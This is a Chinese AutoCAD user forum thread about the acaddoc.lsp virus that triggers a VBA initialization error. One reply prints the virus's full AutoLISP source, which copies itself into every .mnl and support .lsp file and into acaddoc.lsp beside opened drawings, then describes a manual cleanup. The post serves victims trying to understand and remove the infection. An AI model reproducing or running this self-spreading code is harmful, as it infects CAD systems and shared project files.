acaddoc.lsp自动生成,打开文件命令栏出现正在初始化VBA..初始错误(病毒)

goodfang · 发表于 2011-8-3 19:59

回复 29# likeyouboya

我刚试了也出现跟你一样的问题，请问你后来怎么解决的？

babybear8370 · 发表于 2011-8-9 10:12

为什么我怎么下载不了楼主的压缩包啊

小星辰 · 发表于 2011-9-1 09:34

新来的，没钱，我的也是这样，咋整呀！

xufulai · 发表于 2011-9-1 13:00

我的启动没有什么问题，就是运行下载的插件时提示没有安装VBA

xuerui95 · 发表于 2011-9-2 16:34

怎么不能下载啊

superyan · 发表于 2011-9-5 10:51

看看咯。。谢谢分享

fish2233 · 发表于 2011-9-29 00:45

源代码为
(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
  (setq flag nil)
  (setq flag1 t)
  (if (findfile target)
(progn
   (setq wjm1 (open target "r"))
   (while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
   (close wjm1)
   );progn
);if
  (if flag1
(progn
   (setq wjm (open source "r"))
   (setq wjm1 (open target "a"))
   (write-line (chr 13) wjm1)
   (while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
   (progn
      (write-line text wjm1)
      );progn
   );if
);while
   (close wjm1)
   (close wjm)
   );progn
);if
  );defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
  (progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
   (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
   (app mnlfilename acaddocfile bz)
   (app acaddocfile mnlfilename bz)
   (setq mnln (1+ mnln))
   );while
(setq lspn 0)
(while (< lspn lspnum)
   (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
   (app lspfilename acaddocfile bz)
   (app acaddocfile lspfilename bz)
   (setq lspn (1+ lspn))
   );while
);progn
  );if
(setq mnln 0)
(while (< mnln mnlnum)
  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
  (setq lspn1 0)
  (while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
  (setq mnln (1+ mnln))
  );while
(setq lspn 0)
(while (< lspn lspnum)
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (setq lspn1 0)
  (while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
  (setq mnln1 0)
  (while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
这个代码会每次运行时都会增加一段，不停的膨胀，太恶意了，还好我知道了它都嵌到那些文件了，我逐一把它们删掉，然后把文件改为只读，以后都不担心会受到感染！只是处理比较麻烦，对CAD了解不够的有点难度，我希望有受到感染的同行们可以交流一下。

fish2233 · 发表于 2011-9-29 00:48

最初的办法可以按5楼的解决，但是后期的处理就要采用比较麻烦的方法处理，我也只能用这种笨方法。

fish2233 · 发表于 2011-9-29 00:49

如我知道是谁写这个病毒我肯定咔嚓他，去年我就受害一个月，后来导致到换电脑。

fish2233 · 发表于 2011-9-29 00:58

本帖最后由 fish2233 于 2011-9-29 01:01 编辑

＜未知命令“THISDRAWING.HH”。按 F1 查看帮助。＞(askcad.com),就是这一个提示，这个THISDRAWING.HH……如不会用可以联系我

weiwei3314 · 发表于 2011-10-17 12:05

怎么都不能下载那个附件呢

wlfljh · 发表于 2012-1-18 11:13

谢谢了.我的问题也解决了。

ashton · 发表于 2012-3-14 09:57

正在解决中。。。。

ashton · 发表于 2012-3-14 10:21

问题解决了，谢谢老师！这个平台真的很不错，顶！顶！顶！

iou3344 · 发表于 2012-3-17 11:17

谢谢

		自动登录	找回密码
密码			立即注册

acaddoc.lsp自动生成,打开文件命令栏出现正在初始化VBA..初始错误(病毒)

本帖子中包含更多资源